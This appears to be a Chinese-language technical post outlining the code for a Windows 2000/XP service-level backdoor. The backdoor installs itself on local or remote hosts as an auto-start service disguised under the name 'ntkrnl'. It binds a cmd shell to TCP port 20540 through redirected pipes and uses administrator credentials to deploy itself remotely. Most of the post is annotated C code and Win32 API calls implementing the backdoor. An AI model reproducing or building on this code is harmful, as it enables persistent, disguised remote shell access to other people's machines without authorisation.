适用平台为Windows2000/XP。它可自动为   
  远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。   
  1.自定义数据结构与函数   
  typedef   struct   
  {   
  HANDLE   hPipe;   
  //为实现进程间通信而使用的管道;   
  SOCKET   sClient;   
  //与客户端进行通信时的客户端套接字;   
  }SESSIONDATA,*PSESSIONDATA;   
  //重定向Cmd标准输入/输出时使用的数据结构;   
    
  typedef   struct   PROCESSDATA   
  {   
  HANDLE   hProcess;   
  //创建Cmd进程时获得的进程句柄;   
  DWORD   dwProcessId;   
  //创建Cmd进程时获得的进程标识符;   
  struct   PROCESSDATA   *next;   
  //指向下一个数据结构的指针;   
  }PROCESSDATA,*PPROCESSDATA;   
  //在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;   
    
  void   WINAPI   CmdStart(DWORD,LPTSTR   *);   
  //服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;   
  void   WINAPI   CmdControl(DWORD);   
  //服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;   
  DWORD   WINAPI   CmdService(LPVOID);   
  //服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;   
  DWORD   WINAPI   CmdShell(LPVOID);   
  //创建管道与Cmd进程,及Cmd的输入/输出线程;   
  DWORD   WINAPI   ReadShell(LPVOID);   
  //重定向Cmd的输出,读取信息后发送到客户端;   
  DWORD   WINAPI   WriteShell(LPVOID);   
  //重定向Cmd的输入,接收客户端的信息输入到Cmd进程;   
  BOOL   ConnectRemote(BOOL,char   *,char   *,char   *);   
  //如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;   
  void   InstallCmdService(char   *);   
  //复制传送文件,打开服务控制管理器,创建或打开服务程序;   
  void   RemoveCmdService(char   *);     
  //删除文件,停止服务后,卸载服务程序;   
    
  2.服务程序相关函数   
  SERVICE_TABLE_ENTRY   DispatchTable[]   =   
  {   
  {"ntkrnl",CmdStart},   
  //服务程序的名称和入口点;   
  {NULL   ,NULL   }   
  //SERVICE_TABLE_ENTRY结构必须以“NULL”结束;   
  };   
  StartServiceCtrlDispatcher(DispatchTable);   
  //连接服务控制管理器,开始控制调度程序线程;   
  ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);     
  //注册CmdControl函数为“HandlerEx”函数,并初始化;   
  ServiceStatus.dwCurrentState   =   SERVICE_RUNNING;   
  SetServiceStatus(ServiceStatusHandle,&ServiceStatus);   
  //设置服务的当前状态为SERVICE_RUNNING;   
  hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);   
  //创建服务主线程,实现后门功能;   
  WaitForSingleObject(hMutex,INFINITE);   
  //等待互斥量,控制全局变量的同步使用;   
  TerminateProcess(lpProcessDataHead->hProcess,1);   
  //终止创建的Cmd进程;   
  hSearch=FindFirstFile(lpImagePath,&FileData);   
  //查找
系统目录下服务程序的文件是否已经存在;   
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);   
  //获得当前进程的程序文件名;   
  CopyFile(lpCurrentPath,lpImagePath,FALSE);   
  //复制文件到系统目录下;   
  schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);   
  //打开服务控制管理器数据库;   
  CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);   
  //创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;   
  schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);   
  //如果服务已经创建,则打开服务;   
  StartService(schService,0,NULL);   
  //启动服务进程;   
  ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);   
  //控制服务状态;   
  DeleteService(schService);   
  //卸载服务程序;   
  DeleteFile(lpImagePath);   
  //删除文件;   
    
  3.后门程序相关函数   
  hMutex=CreateMutex(NULL,FALSE,NULL);   
  //创建互斥量;   
  hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);   
  //创建处理客户端访问的重定向输入输出线程;   
  CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);   
  CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);   
  //创建用于进程间通信的输入/输出管道;   
  CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);   
  //创建经重定向输入输出的Cmd进程;   
  hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);   
  hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID   *)&sdWrite,0,&dwReavThreadId);   
  //创建处理Cmd输入输出的线程;   
  dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);   
  //等待线程或进程的结束;   
  ReleaseMutex(hMutex);   
  //释放互斥量;   
  PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);   
  //从管道中复制数据到缓冲区中,但不从管道中移出;   
  ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);   
  //从管道中复制数据到缓冲区中;   
  WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);   
  //向管道中写入从客户端接收到的数据;   
  dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);   
  //与远程主机建立连接;   
  WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);   
  //与远程主机结束连接;